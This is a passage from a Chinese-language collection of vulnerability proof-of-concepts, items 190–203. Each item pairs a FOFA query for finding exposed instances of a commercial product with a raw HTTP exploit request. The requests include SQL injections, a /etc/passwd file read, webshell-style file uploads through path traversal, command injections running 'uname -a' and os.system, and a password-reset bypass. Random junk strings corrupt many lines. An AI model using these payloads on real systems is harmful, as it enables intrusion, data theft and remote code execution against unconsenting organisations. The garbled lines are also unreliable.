GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
% \# C% B* l3 E- E8 DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: R; O5 S1 u: H) D3 o( bAccept-Language: zh-CN,zh;q=0.9
Connection: close
  C+ Q( ?4 A1 E7 i3 T1 b" g

3 y/ j2 B) n5 a- ^* y! t# K  r' [190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
# ^9 k& A0 U) F! }! ~. WPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
* V) J8 ~3 s! q1 v0 J/ S  z# K- CHost: your-ip
4 @1 y6 P4 Y! V1 b8 E1 m+ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
+ ^, m, Z" q& t3 a/ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
  ]: O7 F, i! b5 IAccept-Encoding: gzip, deflate
" e6 K0 x' r- z5 ?% g& c- FAccept-Language: zh-CN,zh;q=0.9
9 n) V, }. s! I
6 A0 @) B0 [4 Epoi=file:///etc/passwd
2 S* n7 |7 d$ I4 @5 m8 Q: m5 h
( x) R, J2 Z6 v+ B& @
! ^% R- A8 L* b- r' o% g191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
- V( @% M" E+ |8 ]POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 Y" l5 s+ T8 J5 p% G4 x% qContent-Type: application/x-www-form-urlencoded
. Y. S7 D" J, R! p# r* y
/ _: a8 t$ T5 y$ T: ~1 Pcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


2 @& B) T7 x& n; r, V; M192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( _% g. l" W) {" G' u& wFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
2 t& s3 `& W0 n) i9 {/ THost: your-ip
  I0 f+ ]8 z' h5 p/ S1 L$ K; UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; D0 K+ h: r" VContent-Type: application/x-www-form-urlencoded

2 P' M5 j5 V# V5 e" u( O
7 a& y: a& D! P6 a& o5 Y" Q<% @ webhandler language="C#" class="AverageHandler" %>
using System;
6 @8 M' a2 o' i1 Uusing System.Web;
0 x$ ^  Y. q: k* n. c9 n! Y5 ppublic class AverageHandler : IHttpHandler
9 ~$ T1 t, f2 v{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
& ]7 T0 j3 G4 j7 J6 l{
3 [. g' h( }! n$ `6 S3 Actx.Response.Write("test");
/ u- R# a% k; Z}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
2 v: H0 W8 P$ A( ^FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
; A1 j" \2 f6 e2 c  M# cHost:
0 x/ a' \+ x0 o% g$ O% O$ ?Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
7 M9 k1 ~( B& l: q4 W) g: U4 `8 b" XUser-Agent: Mozilla/5.0


4 H' w* E* a5 s- qPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
4 Q2 p. @; d$ `. OUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
) ]1 _/ O8 [1 G% xCookie: PHPSESSID=2333333333333;
1 t* _5 ~# f. N7 R- a7 bContent-Type: application/x-www-form-urlencoded
Content-Length: 84
. t; B# s; @7 @
1 z- l% |( ^; f0 Y( Mparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
6 k) X- W5 m0 }1 b$ W9 I

GET /master/img/config HTTP/1.1
5 e. B: `/ Z* H& t8 X$ T; X! ?- MHost:
User-Agent: Mozilla/5.0

4 q( c/ b3 ~& P" J7 j
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' g& W, j  C8 Z
POST /servlet/uploadAttachmentServlet HTTP/1.1
  A3 G0 E& P& mHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ M+ D( ?. A. A* K; S6 L! AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- @; i9 V3 F+ A$ dAccept-Encoding: gzip, deflate
  y7 P, d2 K/ T% I& z. N  rConnection: close
8 u' R' w- H' A/ E9 w+ V9 l0 o& R+ uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 M* t  T% [3 W& q+ x& @
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
# |& ?# T, O/ p8 J% V6 w<% out.println("hello");%>
! J2 m+ u1 \, O, V: q4 B* L------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
; M" a2 R" X& C5 n
, _# x% Q8 H0 V3 t
( ]0 B6 y4 A8 C195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
3 t' u+ n& D2 I$ x: c+ M) j, oPragma: no-cache
Cache-Control: no-cache
& N& s8 e- u3 W" yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 ?5 K% z' B7 j! C! M" h' PAccept: */*
Accept-Encoding: gzip, deflate
7 }6 E7 ~. o( ?' f( i, O& Y8 WAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
: r' j* y) j6 x0 `' j) BContent-Length: 68
! G+ G: L" N; [0 W+ A2 D" g
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
/ ~, \3 |! ]% N% [* ~
4 z! t4 P! j8 o/ G
7 b- p+ ]4 t  z! G' F196. 河南省风速科技统一认证平台密码重置
9 Y: A, z" _2 j0 QFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
) B) s4 b# }$ jPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 p7 f. V* ~' fContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
$ b+ Z4 m! u8 YHost:
$ I' F( U/ D4 Z( t' i, w& XAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
5 v$ D( a1 t2 g, b7 E- E5 [Connection: close
8 l# i9 F" M$ {7 a$ t4 W
{"xgh":"test","newPass":"test666","email":""}
/ J8 [# m- `0 }

3 l7 C3 x) q" B# a
6 q( l* A* h$ Z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 @. [5 X( p& S/ \FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
: c1 j% s' N! B$ \; ?' cAccept-Encoding: gzip, deflate
Connection: close
1 t2 U' F5 ^0 d0 }7 T, C

0 q( ?/ ^9 j" g" {/ Q  [
5 a0 _4 A! V6 N198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
6 d: `3 X9 \: A3 n1 U7 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
4 D% e; C7 Z# S7 v8 o1 x
; A7 A. I2 V# T% c# R) D
199. cockpit系统assetsmanager_upload接口 文件上传
3 ^; p" [. f3 w6 d1 I# Y
, u& y8 o" q; ~2 B( J1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

9 p; e/ L6 `- B1 F" ~5 e响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
  D9 }+ Y7 l8 V0 v/ f; i
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
2 }2 h; G! v; C7 EContent-Type: application/json
* C# N" l$ O( t0 _+ t4 |- P
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

3 b7 H) P& {0 Y5 c响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
+ {' i+ h' @; T9 H% E9 N
-----------------------------36D28FBc36bd6feE7Fb3
7 i& B0 Q  v" q/ s" I2 ^Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
8 Q  W, r( ^$ {( z  g$ n
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
+ I' f: E2 k5 Y( `1 b6 m. R1 R
* x  p* B' U, z  C: V
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
( F2 H+ M  m1 G% c/ S; WGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
/ J, i" Q2 A6 m) W' p) f1 `) ?Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
/ H) d! m6 r. x- rUpgrade-Insecure-Requests: 1
2 y6 j8 Y+ [' l! tCache-Control: max-age=0
, J; A/ q1 S5 F& KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# O$ U! E5 @( k- n( }- ZAccept-Encoding: gzip, deflate
9 y% A; l1 Y; D: E, HAccept-Language: zh-CN,zh;q=0.9


; ^! B0 Z1 v2 d: r0 Z201. 方正全媒体新闻采编系统 binary SQL注入
5 K0 |6 E) q) M- N6 C! qFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
" M: B: L: l4 G6 u1 w# l* }POST /newsedit/newsplan/task/binary.do HTTP/1.1
" ^& a+ d: _: A% L8 \) XContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, y: G) @/ r* oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ ^7 m- Z8 y/ Z3 Q% O: AConnection: close
! |1 x, h) k$ M# L2 ]
* z5 ~8 c, w& U# kTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


' E, ?! _% C: }202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
* q8 k* K# Y8 ]" @( j9 D" P3 R0 h获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

/ _0 a0 H* V% F
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
& Y* t. D  E/ u1 W( }4 vAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
. ?4 j6 M! w- u" z
-----------------------------786435874t38587593865736587346567358735687
+ X; O1 s  U, K  d' j: OContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
6 Z& A; m# I9 F; [-----------------------------786435874t38587593865736587346567358735687
! P5 S3 V3 {- |, ~, oContent-Disposition: form-data; name="__EVENTVALIDATION"

+ @/ w( g) {+ p) ~1 h6 O' c2 }__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
, N7 X& Z9 ^- M: L$ H/ \# ?Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
. R& S) v+ }$ a6 Q/ UContent-Type: text/plain
  d5 J/ k8 {  l
( i* i& F3 T# U" z9 R* x% gHello World!
-----------------------------786435874t38587593865736587346567358735687
2 q! [9 g, Z  I1 LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

: X1 O( k) L0 k, V  ~; c上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
% u% t- _* c4 y. ]
  u$ g. N# E/ F5 M0 b) t% y
; z4 m) W) Y) p/ B# A+ n-----------------------------786435874t38587593865736587346567358735687
2 O4 _& G) X/ M7 f( f' MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
. a  Z2 ?) g# [3 W
( \! y; g" \9 u+ A" I1 V
-----------------------------786435874t38587593865736587346567358735687--
( e* G) p* W7 S8 G

' z" u- o% a2 Y5 k0 I0 R4 G/_data/Uploads/1123.txt
& Y0 B; V& \7 l* S1 D
* \2 k9 b5 Z+ a6 K4 Z4 j6 i2 l203. 红海云EHR PtFjk 文件上传
) O5 ]. E$ {4 c, ]% QFOFA：body="RedseaPlatform"
: x$ I  l) J$ ^) a" xPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
: L/ `8 G) C! L! x/ YAccept-Encoding: gzip
! v6 l1 B4 Q2 i- }% ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
& i6 z% w3 f6 u3 a
: }8 [/ }2 i/ q3 d- o- q------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 n; `! ^; c# b9 U/ UContent-Type:image/jpeg
2 a0 |) I) M0 s4 z8 v) ^0 q
<% out.print("hello,eHR");%>
8 e# Y+ v4 W$ m  y------WebKitFormBoundaryt7WbDl1tXogoZys4--

1 g! W0 [% Q$ _" y6 {  M' y& Q  y



3 @$ K( T4 e! J
5 S3 P+ a* z2 V, u/ z8 G